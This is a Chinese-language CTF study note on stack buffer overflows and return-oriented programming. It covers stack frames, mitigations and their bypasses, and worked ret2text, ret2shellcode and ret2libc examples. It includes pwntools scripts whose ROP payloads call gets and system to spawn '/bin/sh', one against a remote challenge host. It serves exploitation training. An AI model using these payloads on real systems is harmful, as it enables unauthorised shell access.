gets_plt = 0x08048460
# .plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _gets. PRESS CTRL-NUMPAD+ TO EXPAND]

system_plt = 0x08048490
# .plt:08048490 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

pop_ebx = 0x0804843d
# pop ebx
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])

栈溢出和ROP

:一种先进后出的数据结构。常见操作有两种,进栈(PUSH) 和弹栈(POP),用于标识栈的属性有两个,一个是栈顶(TOP),一个是栈底(BASE)

程序中的栈:

内存中的一块区域,用栈的结构来管理,从高地址向低地址增长

寄存器esp代表栈顶(即最低栈地址)

栈操作

压栈(入栈)push sth-> [esp]=sth,esp=esp-4

弹栈(出栈)pop sth-> sth=[esp],esp=esp+4

栈用于保存函数调用信息和局部变量

函数调用

如何通过系统栈进行函数的调用和递归

函数调用指令: call ret

函数调用时栈的变化

大致过程:

参数入栈

返回地址入栈

代码区块跳转

栈帧调整:

保存当前栈帧的状态值,为了后面恢复本栈帧时使用(EBP入栈);

将当前的栈帧切换到新栈帧(ESP值装入EBP,更新栈帧底部)

给新栈帧分配空间(ESP减去所需要空间的大小,抬高栈顶)

push  参数 3               #参数由右向左入栈
push 参数 2
push 参数 1
call 函数地址 #push当前指令位置,跳转到所调用函数的入口地址
push ebp #保存旧栈帧的底部
mov ebp,esp #设置新栈帧底部
sub esp ,xxx #设置新栈帧顶部

参数传参:取决于调用约定,一般情况下:

X86 从右向左入栈,X64 优先寄存器,参数过多(6个以上)时才入栈

手把手教你栈溢出从入门到放弃(上)讲栈的调用非常好

调用时主要变化要点就是保存调用函数,同时创建被调用函数的状态

1.函数调用开始时,将被调用函数(callee)的参数逆序保存在栈中,如果没有就参数就不需要,这些参数仍需保存在调用函数(caller)的函数状态内,之后压入栈内的数据都会作为被调用函数(callee)的函数状态来保存。将被调用参数压栈

2.,然后将调用函数(caller)进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数(caller)的 eip(指令)信息得以保存。将被调用函数的返回地址压入栈内

3.再将当前的ebp 寄存器的值(也就是调用函数的基地址)压入栈内,并将 ebp 寄存器的值更新为当前栈顶的地址。这样调用函数(caller)的 ebp(基地址)信息得以保存。同时,ebp 被更新为被调用函数(callee)的基地址。

4.将调用函数的基地址(ebp)压入栈内,并将当前栈顶地址传到 ebp 寄存器内,再之后是将被调用函数(callee)的局部变量等数据压入栈内。

寄存器

重要的寄存器:rsp/esp, pc, rbp/ebp, rax/eax, rdi, rsi, rdx, rcx

ESP: 栈指针寄存器,内存存放着一个指针,指针指向系统栈最上面一个栈帧的底部

EBP:基址指针寄存器,存放着一个指针,指针指向系统栈最上面的一个栈帧底部

http://p9.qhimg.com/t011e10c089bb2fa12a.jpg

栈溢出的原理就是不顾堆栈中分配的局部数据块大小,向该数据快写入了过多的数据,导致数据越界,结果覆盖来看老的堆栈数据。

栈溢出的保护机制

栈上的数据无法被当作指令来执行

数据执行保护(NX/DEP)

绕过方法ROP

难以找到想要找的地址

地址空间布局随机化(ASLR)

绕过方法:infoleak 、retdlresolve 、ROP

检测栈数据是否被修改

Stack Canary/ Cookie

绕过方法: infoleak

CTF 常用套路: 栈溢出的利用方法

现代栈溢出利用技术基础:ROP

利用signal机制的ROP技术:SROP

没有binary怎么办:BROP 、dump bin

劫持栈指针:stack pivot

利用动态链接绕过ASLR:ret2dl resolve、fake linkmap

利用地址低12bit绕过ASLR:Partial Overwrite

绕过stack canary:改写指针与局部变量、leak canary、overwrite canary

溢出位数不够怎么办:覆盖ebp,Partial Overwrite

现代栈溢出利用技术基础:ROP

ctf中的ROP的套路

说了这么多,rop是什么?

ROP是(Return Oriented Programming),主要是在栈溢出的基础上,利用程序中已有的小片段(gadgets),来改变某些寄存器或者变量的值,从而控制程序的执行流,gadgets就是以ret结尾的指令序列,通过这些指令序列进行修改程序。

ROP攻击满足条件:

  • 程序可能存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的gadgets以及对应的地址

ret2text

// jarvisoj_level2
//该程序存在binsh字符串
int backdoor()
{
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0,&buf,0x100);
}
int main()
{
backdoor();
printf("Hello World");
return 0;
}

read存在栈溢出,且存在/bin/sh字符串

思路:覆盖返回地址为system_plt,并根据32位的参数传参数binsh

payload:'a'*0x88+'b'*4+system_plt+'c'*4+binsh_addr

解释:padding+覆盖ebp+覆盖返回地址+函数调用返回地址+system函数参数

该c*4可以改为main函数的地址,这样就可以反复触发漏洞

如果是64位呢?

64位首先要先使用寄存器(依次位rdi,rsi,rdx,rcx,r8,r9),当参数超出6个时才会用栈.

思路:覆盖返回地址为system_plt,并根据64位的参数传递规则设置参数.

我们需要rdi指向binsh,所以我们需要找到pop rdi的地址(可以使用ropper或Ropgadget)

payload:'a'*0x80+'b'*8+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)

ret2shellcode

即控制程序执行shellcode代码,shellcode用于完成某些功能的汇编代码,常见的就是获取shell,一般shellcode需要我们自己填充,注意,shellcode所在区域需要有可执行权限.

// jarvisoj_level1
int backdoor()
{
char buf; // [exp+0h] [ebp-88h]
printf("What's this:%p?\n",&buf);
return read(0,&buf,0x100u);
}
int main()
{
backdoor();
}

程序栈可执行,泄露buf地址,read函数存在栈溢出.

思路:在buf出写shellcode,覆盖ret地址为buf

ret2syscall

ret2libc

ret2cus

第一次触发漏洞,通过ROP泄漏libc的address(如puts_got),计算system地址,然后返回到一个可以重现触发漏洞的位置(如main),再次触发漏洞,通过ROP调用system(“/bin/sh”)

第二个pwn的特点是,我们需要去info leak 得到信息,然后计算system 的地址。

ROP

对抗DEP/NX保护技术

因为核心在于利用了指令集中的ret指令,改变了指令流的执行顺序,并且利用gadgets片段的ret,可以实现连续控制。

ROP攻击需要满足

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的gadgets以及相应gadgets的地址。

ROP ret2libc

过程:

  • 构造栈结构
  • 利用返回地址ret的跳转特点
  • 不在栈中或bss端执行代码,而是在程序的可执行段寻找可以执行的小组件(gadget)
  • 把小组件串起来,构造而成的就叫ROP链

对抗ASLR/PIE保护技术

如果需要跳转的函数没有在程序里,libc里有。

但ASLR/PIE保护技术使得程序基地址和libc基地址每次加载不一样

思路

  • 泄露GOT表中某个函数的libc地址
  • 在libc找到system和binsh的相对偏移
  • 得到system和binsh的地址
  • 构造ROP

在执行了一次某函数之后,GOT表中就会把一个函数在程序中的终极偏移存起来

最终偏移 = libc基址 + 库捏函数的相对偏移

脚本

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

p = process("./ro")
elf = ELF("./ro")

print p.recvuntil("Can you give me some advise?\n")

vul = 0x08048521
backdoor = 0x080484F6
start = 0x080483E0
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]

gets_got = elf.got["gets"]

main_plt = elf.symbols["_start"]
payload = "a"*0x28 + "a"*4 + p32(puts_plt)+ p32(main_plt) + p32(gets_got)

p.sendline(payload)
leak = u32(p.recvline()[0:4])
print hex(leak)
print p.recv()
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

p = remote('pwn.blackbird.wang',9504)
elf = ELF("./ro")

print p.recvuntil("Can you give me some advise?\n")

gets_got = elf.got["gets"]
gets_plt = elf.plt["gets"]

sys_plt = elf.plt["system"]
bss = 0x0804A028
pop_ebx_ret = 0x0804836d #ROPgadget

main_plt = elf.symbols["_start"]
#payload = "a"*0x28 + "a"*4 + p32(puts_plt)+ p32(main_plt) + p32(gets_got)

payload = "a"*0x28 + "a"*4 + p32(gets_plt) + p32(pop_ebx_ret) + p32(bss) + p32(sys_plt) + "a"*4 + p32(bss)
# get_plt : 返回地址 pop_ebx_ret : get后执行平衡堆栈 bss : gets参数
p.sendline(payload)


sleep(0)
p.sendline("/bin/sh")

p.interactive()